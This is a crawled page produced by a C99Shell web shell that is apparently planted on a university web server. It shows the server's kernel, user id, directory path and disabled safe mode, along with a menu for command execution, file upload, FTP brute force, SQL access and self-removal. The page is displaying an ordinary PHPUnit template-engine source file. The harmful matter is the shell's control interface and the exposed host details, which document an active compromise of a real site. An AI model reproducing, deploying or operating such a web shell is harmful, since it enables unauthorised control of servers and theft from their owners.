!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/php-text-template/src/   drwxr-xr-x
Free 117.06 GB of 200.55 GB (58.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Template.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the Text_Template package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * A simple template engine.
 *
 * @since Class available since Release 1.0.0
 */
class Text_Template
{
    
/**
     * @var string
     */
    
protected $template '';

    
/**
     * @var string
     */
    
protected $openDelimiter '{';

    
/**
     * @var string
     */
    
protected $closeDelimiter '}';

    
/**
     * @var array
     */
    
protected $values = array();

    
/**
     * Constructor.
     *
     * @param  string                   $file
     * @throws InvalidArgumentException
     */
    
public function __construct($file ''$openDelimiter '{'$closeDelimiter '}')
    {
        
$this->setFile($file);
        
$this->openDelimiter  $openDelimiter;
        
$this->closeDelimiter $closeDelimiter;
    }

    
/**
     * Sets the template file.
     *
     * @param  string                   $file
     * @throws InvalidArgumentException
     */
    
public function setFile($file)
    {
        
$distFile $file '.dist';

        if (
file_exists($file)) {
            
$this->template file_get_contents($file);
        }

        else if (
file_exists($distFile)) {
            
$this->template file_get_contents($distFile);
        }

        else {
            throw new 
InvalidArgumentException(
              
'Template file could not be loaded.'
            
);
        }
    }

    
/**
     * Sets one or more template variables.
     *
     * @param array $values
     * @param bool  $merge
     */
    
public function setVar(array $values$merge TRUE)
    {
        if (!
$merge || empty($this->values)) {
            
$this->values $values;
        } else {
            
$this->values array_merge($this->values$values);
        }
    }

    
/**
     * Renders the template and returns the result.
     *
     * @return string
     */
    
public function render()
    {
        
$keys = array();

        foreach (
$this->values as $key => $value) {
            
$keys[] = $this->openDelimiter $key $this->closeDelimiter;
        }

        return 
str_replace($keys$this->values$this->template);
    }

    
/**
     * Renders the template and writes the result to a file.
     *
     * @param string $target
     */
    
public function renderTo($target)
    {
        
$fp = @fopen($target'wt');

        if (
$fp) {
            
fwrite($fp$this->render());
            
fclose($fp);
        } else {
            
$error error_get_last();

            throw new 
RuntimeException(
              
sprintf(
                
'Could not write to %s: %s',
                
$target,
                
substr(
                  
$error['message'],
                  
strpos($error['message'], ':') + 2
                
)
              )
            );
        }
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0105 ]--